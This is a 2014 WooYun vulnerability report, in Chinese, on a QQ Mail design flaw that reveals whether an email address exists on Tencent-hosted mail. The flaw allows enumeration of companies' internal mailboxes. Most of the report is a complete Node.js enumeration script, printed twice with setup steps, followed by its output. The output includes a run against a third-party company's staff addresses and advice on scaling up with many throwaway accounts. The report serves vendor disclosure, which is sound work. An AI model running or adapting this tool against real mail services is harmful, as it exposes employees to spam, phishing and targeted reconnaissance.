当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088140

漏洞标题:QQ邮箱某处设计缺陷导致可枚举腾讯企业内部通讯录(间接危害企业安全)

相关厂商:腾讯

漏洞作者: 0x_Jin

提交时间:2014-12-22 14:39

修复时间:2015-02-05 14:40

公开时间:2015-02-05 14:40

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-22: 厂商已经确认,细节仅向厂商公开
2015-01-01: 细节向核心白帽子及相关领域专家公开
2015-01-11: 细节向普通白帽子公开
2015-01-21: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

其实是一个互联网各大邮件厂商均存在的一个问题,只是在不同的功能而已。

详细说明:

在我们用QQ邮箱发邮件的时候会有这样的一个小提示不知道大家注意过没。

屏幕快照 2014-12-22 13.19.02.png


当你输入一个邮箱地址然后输入框失去焦点后便会开始检查这个地址是否存在。
如果存在就是黑色的字体 不存在便是红色的字体。
腾讯是怎么去判断的呢?
为了刨根知底 我做了个小测试,首先选个我不知道有没有邮件服务器的网站 然后把他们的域名给放进去 发现是黑色的。

屏幕快照 2014-12-22 13.58.16.png


然后跟上图对比,xss1.com用的是腾讯的企业邮箱,而wooyun则用的是google的邮箱。
[email protected] 是不存在的 为什么还变成了黑色呢?
原来腾讯能检测的邮箱地址仅仅是托管在自己服务器上的,比如QQ个人邮箱,QQ企业邮箱等等。
那么又发现一个问题了,能通过这个知道一些网站他们的邮件服务是不是托管给QQ邮箱的。

屏幕快照 2014-12-22 14.03.02.png


可以看到国内两个安全站点的邮服都是用的QQ的企业邮箱,而360.cn则不是。
正题来了,如何去用这个设计缺陷去枚举腾讯企业邮箱呢?
首先抓个包,发现输入框失去焦点后会发送一个post包 post包中包含了一串随机字符串。

屏幕快照 2014-12-22 14.08.04.png


那么这个随机字符串是怎么来的呢?

屏幕快照 2014-12-22 14.10.18.png


在请求http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url 这个url的时候返回包中的js中 targetUrl 变量里就有这个名为sid 的随机字符串
获得sid的方法有了,那么构造一个post数据包 看下存在于不存在的返回值分别是什么,这样才好判断结果。
最后结果如下:
({invalidlocalaccount:[["[email protected]"],null], addrhistory: [""],success:true})' } (不存在)
({invalidlocalaccount:[null], addrhistory: [""],success:true})' }(存在)
如果存在的话返回值中是没有要检测的邮箱地址,如果不存在则有。
那么现在就很好写exp了,exp如下:

var async        = require('async');
var request = require('request');
var lineread = require('line-reader');
var FilePath = "MailAdd.txt";
var CheckSid = "";
var urls = [];
var concurrencyCount = 0;
var MailCookie = "";
var options = {
headers:{
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5)',
'Cookie':MailCookie
}
}
console.log('[*] 判断QQ邮箱用户(包括QQ企业邮箱) [*]');
//获得到SID
function GetSid(checkurl,callback){
request.get(checkurl,options, function (err,res) {
if(err){
return console.log(err);
}
if(String(/sid=.{16}/.exec(res.body)[0])){
callback(String(/sid=.{16}/.exec(res.body)[0]).replace('sid=',''));
}
else{
return console.log('Cookie已过期或者未设置请重新设置');
}
})
}
//检查邮箱地址是否存在
function CheckMail(mailadd,callback){
var delay = parseInt((Math.random() * 10000000) % 2000, 10);
concurrencyCount++;
console.log('并发数: '+concurrencyCount+',Check : '+mailadd+',耗时'+delay+'毫秒');
var Checkurl = 'http://set1.mail.qq.com/cgi-bin/laddr_domain_check?sid='+CheckSid;
var PostData = {
'acttype':4,
'addrfilt':mailadd
}
setTimeout(function () {
concurrencyCount--;
request.post({
headers: {'Cookie': MailCookie},
url: Checkurl,
form: PostData
}, function (err, res) {
if (err) {
return err;
}
callback(null,{'Mailadd':mailadd,'ResBody':res.body});
})
},delay);
}
//获得SID 并读取邮箱地址
GetSid("http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url=",function(callback){
//console.log(callback);
CheckSid = String(callback);
lineread.eachLine(FilePath, function(line) {
if(String(line)){
urls.push(line);
}
}).then(function () {
console.log(FilePath+" Read Done!");
//CheckMail(CheckSid,urls[1],function(callback){console.log(callback.mailadd);});
start();
});
});
//控制并发 并调用CheckMail
function start(){
async.mapLimit(urls, 10, function (mails, callback) {
CheckMail(mails, callback);
}, function (err,result) {
if(err){
console.log('Error:')
console.log(err);
}
console.log('Done:');
for(length in result){
//判断结果
if(result[length].ResBody.indexOf('({invalidlocalaccount:[null]')>=0){
console.log(result[length].Mailadd+" =======》exists");
}
}
});
}


设置好mail.qq.com的cookie 以及要枚举的邮箱字典便可以开始枚举了。
请看漏洞证明。

漏洞证明:

为了检测是否有防机器人机制便构造了 1200多个地址来检测。

屏幕快照 2014-12-22 14.20.11.png


运行结果如下:

屏幕快照 2014-12-22 14.21.27.png


可以看到成功的从1200个地址中检测出了这三个邮箱地址是存在的。

屏幕快照 2014-12-22 14.22.45.png


按理说这样的功能用户体验确实很棒,但是如果没做限制的话也不太好。
其实限制也不太好限制,如果某个公司邮件往来频繁 一天可能要给几千个地址发邮件,每个地址都要检测一遍 如果这样也限制了的话那就影响到了用户体验。
如果只限制每天3000个或者一个号一个小时只能查100次的话 那又可以写个批量登陆获取cookie的工具 来用几百个小号qq来跑了。
反正我个人觉得这个问题蛮棘手的 期待你们的修复方案。
测试代码:
var async = require('async');
var request = require('request');
var lineread = require('line-reader');
var FilePath = "MailAdd.txt";
var CheckSid = "";
var urls = [];
var concurrencyCount = 0;
var MailCookie = "";
var options = {
headers:{
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5)',
'Cookie':MailCookie
}
}
console.log('[*] 判断QQ邮箱用户(包括QQ企业邮箱) [*]');
//获得到SID
function GetSid(checkurl,callback){
request.get(checkurl,options, function (err,res) {
if(err){
return console.log(err);
}
if(String(/sid=.{16}/.exec(res.body)[0])){
callback(String(/sid=.{16}/.exec(res.body)[0]).replace('sid=',''));
}
else{
return console.log('Cookie已过期或者未设置请重新设置');
}
})
}
//检查邮箱地址是否存在
function CheckMail(mailadd,callback){
var delay = parseInt((Math.random() * 10000000) % 2000, 10);
concurrencyCount++;
console.log('并发数: '+concurrencyCount+',Check : '+mailadd+',耗时'+delay+'毫秒');
var Checkurl = 'http://set1.mail.qq.com/cgi-bin/laddr_domain_check?sid='+CheckSid;
var PostData = {
'acttype':4,
'addrfilt':mailadd
}
setTimeout(function () {
concurrencyCount--;
request.post({
headers: {'Cookie': MailCookie},
url: Checkurl,
form: PostData
}, function (err, res) {
if (err) {
return err;
}
callback(null,{'Mailadd':mailadd,'ResBody':res.body});
})
},delay);
}
//获得SID 并读取邮箱地址
GetSid("http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url=",function(callback){
//console.log(callback);
CheckSid = String(callback);
lineread.eachLine(FilePath, function(line) {
if(String(line)){
urls.push(line);
}
}).then(function () {
console.log(FilePath+" Read Done!");
//CheckMail(CheckSid,urls[1],function(callback){console.log(callback.mailadd);});
start();
});
});
//控制并发 并调用CheckMail
function start(){
async.mapLimit(urls, 10, function (mails, callback) {
CheckMail(mails, callback);
}, function (err,result) {
if(err){
console.log('Error:')
console.log(err);
}
console.log('Done:');
for(length in result){
//判断结果
if(result[length].ResBody.indexOf('({invalidlocalaccount:[null]')>=0){
console.log(result[length].Mailadd+" =======》exists");
}
}
});
}
</code>
需要node.js环境 然后 npm install 安装 async request line-reader 这三个模块
MaillAdd.txt 为要检测的邮箱地址 一行一个
MailCookie 为登陆上QQ邮箱后的cookie document.cookie一下 拿出来放到这个变量中即可。
并发数可更改。
为了进一步证明漏洞的可行性,于是我便找了个一个算是比较大的网站来做了一个小测试。
E假海南旅行网 www.ethainan.com PR6
用上面说的方法,验证了他们用的QQ企业邮箱,然后从网站找了几个邮箱地址,然后自己根据猜想写了几个邮箱地址,用程序跑了起来。

屏幕快照 2014-12-22 15.13.40.png


Done:
[email protected] =======》exists
[email protected] =======》exists
可以看到存在的邮箱地址就只有这两个 可以通过根据论坛的id去跑一遍还有员工姓名转pinyin去跑一下。
没有次数限制,跑出来只是时间问题。大概并发20 持续一小时的话能跑几万个地址。

修复方案:

技术能力不够,如果按照我想的修复方法的话也不适用于你们需要给千万用户服务的企业,会影响到用户体验。

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-12-22 19:10

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无